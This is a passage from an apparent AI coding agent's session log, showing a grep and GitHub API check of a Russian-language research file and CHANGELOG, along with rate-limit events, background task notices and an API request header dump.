'\u0432\u0445\u043e\u0434\\\\|\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\\|\u0433\u0435\u0439\u0442\\\\|gate' research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md | head -15; echo ---; gh api repos/G-Ivan-A/mango_ba_prompts/contents/CHANGELOG.md --jq .content | base64 -d | grep -n -i '23\\\\|\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f' | head -5\",\n[2026-09-29T08:03:33.591Z] [INFO]           \"description\": \"Verify constructs list and CHANGELOG split entry\"\n[2026-09-29T08:03:33.591Z] [INFO]         },\n[2026-09-29T08:03:33.591Z] [INFO]         \"caller\": {\n[2026-09-29T08:03:33.591Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:03:33.591Z] [INFO]         }\n[2026-09-29T08:03:33.591Z] [INFO]       }\n[2026-09-29T08:03:33.591Z] [INFO]     ],\n[2026-09-29T08:03:33.591Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:33.591Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:33.591Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:33.591Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:33.591Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:33.591Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:33.591Z] [INFO]       \"cache_creation_input_tokens\": 2082,\n[2026-09-29T08:03:33.591Z] [INFO]       \"cache_read_input_tokens\": 91791,\n[2026-09-29T08:03:33.591Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:33.591Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:33.591Z] [INFO]         \"ephemeral_1h_input_tokens\": 2082\n[2026-09-29T08:03:33.591Z] [INFO]       },\n[2026-09-29T08:03:33.591Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T08:03:33.591Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:33.591Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:33.591Z] [INFO]     },\n[2026-09-29T08:03:33.591Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:33.591Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:33.591Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:33.591Z] [INFO]   },\n[2026-09-29T08:03:33.591Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:33.591Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:33.591Z] [INFO]   \"uuid\": \"e10772a9-7ffc-4c33-b1ee-f51fea193736\",\n[2026-09-29T08:03:33.591Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:33.578Z\",\n[2026-09-29T08:03:33.591Z] [INFO]   \"request_id\": \"req_011CfXP8fL6GkcpD5gT7qNHn\",\n[2026-09-29T08:03:33.591Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:03:33.591Z] [INFO]     \"toolu_01QKfJ8RCCxejRvPPaYkcGi7\": {\n[2026-09-29T08:03:33.591Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; grep -n -i '\u0432\u0445\u043e\u0434\\\\|\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\\|\u0433\u0435\u0439\u0442\\\\|gate' research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md | head -15; echo ---; gh api repos/G-Ivan-A/mango_ba_prompts/contents/CHANGELOG.md --jq .content | base64 -d | grep -n -i '23\\\\|\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f' | head -5\",\n[2026-09-29T08:03:33.591Z] [INFO]       \"description\": \"Verify constructs list and CHANGELOG split entry\"\n[2026-09-29T08:03:33.591Z] [INFO]     }\n[2026-09-29T08:03:33.591Z] [INFO]   }\n[2026-09-29T08:03:33.591Z] [INFO] }\n[2026-09-29T08:03:33.642Z] [INFO] {\n[2026-09-29T08:03:33.642Z] [INFO]   \"type\": \"rate_limit_event\",\n[2026-09-29T08:03:33.642Z] [INFO]   \"rate_limit_info\": {\n[2026-09-29T08:03:33.642Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T08:03:33.642Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T08:03:33.642Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T08:03:33.642Z] [INFO]     \"utilization\": 0.78,\n[2026-09-29T08:03:33.642Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T08:03:33.642Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T08:03:33.642Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T08:03:33.642Z] [INFO]       \"five_hour\": {\n[2026-09-29T08:03:33.642Z] [INFO]         \"utilization\": 0.47,\n[2026-09-29T08:03:33.642Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T08:03:33.642Z] [INFO]       },\n[2026-09-29T08:03:33.642Z] [INFO]       \"seven_day\": {\n[2026-09-29T08:03:33.642Z] [INFO]         \"utilization\": 0.78,\n[2026-09-29T08:03:33.642Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T08:03:33.642Z] [INFO]       }\n[2026-09-29T08:03:33.642Z] [INFO]     }\n[2026-09-29T08:03:33.642Z] [INFO]   },\n[2026-09-29T08:03:33.642Z] [INFO]   \"uuid\": \"065eec21-1716-4735-9691-7f63477c7049\",\n[2026-09-29T08:03:33.642Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:03:33.642Z] [INFO] }\n[2026-09-29T08:03:35.534Z] [INFO] {\n[2026-09-29T08:03:35.534Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:35.534Z] [INFO]   \"subtype\": \"background_tasks_changed\",\n[2026-09-29T08:03:35.534Z] [INFO]   \"tasks\": [\n[2026-09-29T08:03:35.534Z] [INFO]     {\n[2026-09-29T08:03:35.534Z] [INFO]       \"task_id\": \"bm13v5xu1\",\n[2026-09-29T08:03:35.534Z] [INFO]       \"task_type\": \"local_bash\",\n[2026-09-29T08:03:35.534Z] [INFO]       \"description\": \"Wait for CI runs to finish\"\n[2026-09-29T08:03:35.534Z] [INFO]     }\n[2026-09-29T08:03:35.534Z] [INFO]   ],\n[2026-09-29T08:03:35.534Z] [INFO]   \"uuid\": \"768f01f5-8311-4c16-aff7-4f34d48eca61\",\n[2026-09-29T08:03:35.534Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:03:35.534Z] [INFO] }\n[2026-09-29T08:03:35.537Z] [INFO] {\n[2026-09-29T08:03:35.537Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:35.537Z] [INFO]   \"subtype\": \"task_updated\",\n[2026-09-29T08:03:35.537Z] [INFO]   \"task_id\": \"bciyyo5i9\",\n[2026-09-29T08:03:35.537Z] [INFO]   \"patch\": {\n[2026-09-29T08:03:35.537Z] [INFO]     \"status\": \"completed\",\n[2026-09-29T08:03:35.537Z] [INFO]     \"end_time\": 1790669015510\n[2026-09-29T08:03:35.537Z] [INFO]   },\n[2026-09-29T08:03:35.537Z] [INFO]   \"uuid\": \"e1242bb5-7bc0-4dd7-8a37-ff31d0486f77\",\n[2026-09-29T08:03:35.537Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:03:35.537Z] [INFO] }\n[2026-09-29T08:03:35.540Z] [INFO] {\n[2026-09-29T08:03:35.540Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:35.540Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T08:03:35.540Z] [INFO]   \"task_id\": \"bciyyo5i9\",\n[2026-09-29T08:03:35.540Z] [INFO]   \"tool_use_id\": \"toolu_01UHkgRF2UyKgcXL6pYGEfZq\",\n[2026-09-29T08:03:35.540Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T08:03:35.540Z] [INFO]   \"output_file\": \"/tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bciyyo5i9.output\",\n[2026-09-29T08:03:35.540Z] [INFO]   \"summary\": \"Background command \\\"Install package deps and rerun execution-package test\\\" completed (exit code 0)\",\n[2026-09-29T08:03:35.540Z] [INFO]   \"uuid\": \"dd6b2bb4-1f96-4f09-86d0-4842df616120\",\n[2026-09-29T08:03:35.540Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:03:35.540Z] [INFO] }\n[2026-09-29T08:03:35.699Z] [INFO] {\n[2026-09-29T08:03:35.699Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:03:35.699Z] [INFO]   \"message\": {\n[2026-09-29T08:03:35.699Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:03:35.699Z] [INFO]     \"content\": [\n[2026-09-29T08:03:35.699Z] [INFO]       {\n[2026-09-29T08:03:35.699Z] [INFO]         \"tool_use_id\": \"toolu_01QKfJ8RCCxejRvPPaYkcGi7\",\n[2026-09-29T08:03:35.699Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:03:35.699Z] [INFO]         \"content\": \"26:> **\u044f\u0432\u043d\u043e\u0433\u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430**, \u0437\u0430\u0449\u0438\u0449\u0430\u044e\u0449\u0435\u0433\u043e \u043d\u043e\u0432\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0438 `SKILL.md` \u043e\u0442\\n35:[\u0441\u043d\u0438\u043c\u043a\u0430 \u0432\u0445\u043e\u0434\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md):\\n53:| `MM-1` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | \u0448\u0430\u0433 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 | **0** | 1 |\\n54:| `MM-3` \u0441\u043b\u0435\u0434 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430: \u0432\u0445\u043e\u0434, \u0430\u043a\u0442\u043e\u0440, \u0433\u0435\u0439\u0442\u044b | **0** | 8 |\\n57:| `Contract` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 | **0** | **0** |\\n58:| `T-1` \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c | \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 | **0** | **0** |\\n60:| `G-mach` \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u043c \u043f\u043e \u0441\u0445\u0435\u043c\u0435 | **0** | 9 |\\n61:| `G-human` \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 | \u0442\u043e\u0447\u043a\u0430 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c | **0** | 7 |\\n63:| `EP-G1` \u044d\u0442\u0430\u043b\u043e\u043d (Golden Set) | \u044d\u0442\u0430\u043b\u043e\u043d \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043a\u0430\u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0433\u0435\u0439\u0442\u0430 | 1 | 15 |\\n74:1. **\u041a\u043e\u0440\u043f\u0443\u0441 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u2014 \u043d\u0435 \u043f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e, \u0430 \u043f\u043e\\n75:   \u0441\u043e\u0441\u0442\u0430\u0432\u0443.** \u0412\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u043d\u0435\u0433\u043e `MM-1`\u2026`MM-4`, \u0433\u0435\u0439\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435\\n84:3. **\u041f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0433\u0435\u0439\u0442\u043e\u0432 \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 (7\u20139 \u0438\u0437 67) \u2014 \u043d\u0435 \u043a\u043e\u043d\u0442\u0440\u043f\u0440\u0438\u043c\u0435\u0440.** \u042d\u0442\u043e\\n104:| \u0413\u0435\u0439\u0442\u044b `GT-1`\u2026`GT-4`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b `C-*` | \u043c\u0430\u043a\u0440\u043e-\u043e\u0441\u044c \u0438 \u043c\u043e\u0434\u0443\u043b\u0438 `M1`\u2013`M4` | \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e | \u043d\u043e\u0440\u043c\u0430 \u0425\u0430\u0431\u0430 |\\n---\\n40:  `ed42b3cd0eed2774c9b080232ca00484d9a4f7cd`: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 \u043d\u0435\u0442.\\n279:### Added \u2014 Issue #323: \u0448\u0430\u0431\u043b\u043e\u043d\u044b \u0437\u0430\u0434\u0430\u0447 (Issue Forms) \u0434\u043b\u044f \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 `runs`\\n298:  [`scripts/validate_issue_323_issue_forms.py`](scripts/validate_issue_323_issue_forms.py)\\n300:  [`scripts/test_issue_323_issue_forms.py`](scripts/test_issue_323_issue_forms.py)\\n381:  | [`kb/processed/sip-trunk`](kb/processed/sip-trunk/index.md) | \u043d\u043e\u0432\u044b\u0439 | 1.23.43 | 39 | high |\",\n[2026-09-29T08:03:35.699Z] [INFO]         \"is_error\": false\n[2026-09-29T08:03:35.699Z] [INFO]       }\n[2026-09-29T08:03:35.699Z] [INFO]     ]\n[2026-09-29T08:03:35.699Z] [INFO]   },\n[2026-09-29T08:03:35.699Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:35.699Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:35.699Z] [INFO]   \"uuid\": \"d38fbe8a-9f12-4d12-b9bc-f8e09e013dab\",\n[2026-09-29T08:03:35.699Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:35.695Z\",\n[2026-09-29T08:03:35.699Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:03:35.699Z] [INFO]     \"stdout\": \"26:> **\u044f\u0432\u043d\u043e\u0433\u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430**, \u0437\u0430\u0449\u0438\u0449\u0430\u044e\u0449\u0435\u0433\u043e \u043d\u043e\u0432\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0438 `SKILL.md` \u043e\u0442\\n35:[\u0441\u043d\u0438\u043c\u043a\u0430 \u0432\u0445\u043e\u0434\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md):\\n53:| `MM-1` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | \u0448\u0430\u0433 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 | **0** | 1 |\\n54:| `MM-3` \u0441\u043b\u0435\u0434 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430: \u0432\u0445\u043e\u0434, \u0430\u043a\u0442\u043e\u0440, \u0433\u0435\u0439\u0442\u044b | **0** | 8 |\\n57:| `Contract` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 | **0** | **0** |\\n58:| `T-1` \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c | \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 | **0** | **0** |\\n60:| `G-mach` \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u043c \u043f\u043e \u0441\u0445\u0435\u043c\u0435 | **0** | 9 |\\n61:| `G-human` \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 | \u0442\u043e\u0447\u043a\u0430 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c | **0** | 7 |\\n63:| `EP-G1` \u044d\u0442\u0430\u043b\u043e\u043d (Golden Set) | \u044d\u0442\u0430\u043b\u043e\u043d \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043a\u0430\u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0433\u0435\u0439\u0442\u0430 | 1 | 15 |\\n74:1. **\u041a\u043e\u0440\u043f\u0443\u0441 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u2014 \u043d\u0435 \u043f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e, \u0430 \u043f\u043e\\n75:   \u0441\u043e\u0441\u0442\u0430\u0432\u0443.** \u0412\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u043d\u0435\u0433\u043e `MM-1`\u2026`MM-4`, \u0433\u0435\u0439\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435\\n84:3. **\u041f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0433\u0435\u0439\u0442\u043e\u0432 \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 (7\u20139 \u0438\u0437 67) \u2014 \u043d\u0435 \u043a\u043e\u043d\u0442\u0440\u043f\u0440\u0438\u043c\u0435\u0440.** \u042d\u0442\u043e\\n104:| \u0413\u0435\u0439\u0442\u044b `GT-1`\u2026`GT-4`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b `C-*` | \u043c\u0430\u043a\u0440\u043e-\u043e\u0441\u044c \u0438 \u043c\u043e\u0434\u0443\u043b\u0438 `M1`\u2013`M4` | \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e | \u043d\u043e\u0440\u043c\u0430 \u0425\u0430\u0431\u0430 |\\n---\\n40:  `ed42b3cd0eed2774c9b080232ca00484d9a4f7cd`: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 \u043d\u0435\u0442.\\n279:### Added \u2014 Issue #323: \u0448\u0430\u0431\u043b\u043e\u043d\u044b \u0437\u0430\u0434\u0430\u0447 (Issue Forms) \u0434\u043b\u044f \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 `runs`\\n298:  [`scripts/validate_issue_323_issue_forms.py`](scripts/validate_issue_323_issue_forms.py)\\n300:  [`scripts/test_issue_323_issue_forms.py`](scripts/test_issue_323_issue_forms.py)\\n381:  | [`kb/processed/sip-trunk`](kb/processed/sip-trunk/index.md) | \u043d\u043e\u0432\u044b\u0439 | 1.23.43 | 39 | high |\",\n[2026-09-29T08:03:35.699Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:03:35.699Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:03:35.699Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:03:35.699Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:03:35.699Z] [INFO]   }\n[2026-09-29T08:03:35.699Z] [INFO] }\n[2026-09-29T08:03:35.780Z] [STDOUT] [log_a4478f] sending request {\n[2026-09-29T08:03:35.784Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:03:35.787Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:35.790Z] [STDOUT]   options: {\n[2026-09-29T08:03:35.792Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:03:35.796Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:03:35.800Z] [STDOUT]     body: {\n[2026-09-29T08:03:35.802Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:03:35.805Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:03:35.807Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:03:35.813Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:03:35.817Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:03:35.819Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:03:35.821Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:03:35.824Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:03:35.826Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:03:35.828Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:03:35.832Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:03:35.834Z] [STDOUT]       stream: true,\n[2026-09-29T08:03:35.836Z] [STDOUT]     },\n[2026-09-29T08:03:35.838Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:03:35.840Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:03:35.842Z] [STDOUT]       aborted: false,\n[2026-09-29T08:03:35.850Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:03:35.852Z] [STDOUT]       onabort: null,\n[2026-09-29T08:03:35.855Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:03:35.857Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:03:35.859Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:03:35.861Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:03:35.863Z] [STDOUT]     },\n[2026-09-29T08:03:35.866Z] [STDOUT]     stream: true,\n[2026-09-29T08:03:35.868Z] [STDOUT]   },\n[2026-09-29T08:03:35.871Z] [STDOUT]   headers: {\n[2026-09-29T08:03:35.877Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:03:35.879Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:03:35.883Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:03:35.887Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:03:35.889Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:03:35.891Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:03:35.894Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:03:35.898Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:03:35.902Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:03:35.910Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2068\",\n[2026-09-29T08:03:35.916Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:03:35.919Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:03:35.922Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:35.926Z] [STDOUT]     \"x-client-request-id\": \"b7dbc81b-b4d2-4d1a-9de4-f893f549056f\",\n[2026-09-29T08:03:35.928Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:03:35.936Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:03:35.953Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:03:35.958Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:03:35.964Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:35.967Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:35.973Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:35.977Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:35.982Z] [STDOUT]   },\n[2026-09-29T08:03:35.987Z] [STDOUT] }\n[2026-09-29T08:03:36.804Z] [STDOUT] [log_a4478f, request-id: \"req_011CfXP9BQqp3CduFFtaCKns\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1024ms\n[2026-09-29T08:03:36.807Z] [STDOUT] [log_a4478f] response start {\n[2026-09-29T08:03:36.814Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:36.817Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:36.820Z] [STDOUT]   headers: {\n[2026-09-29T08:03:36.822Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:36.829Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:36.834Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:36.836Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:36.838Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:36.842Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:36.846Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:36.848Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": 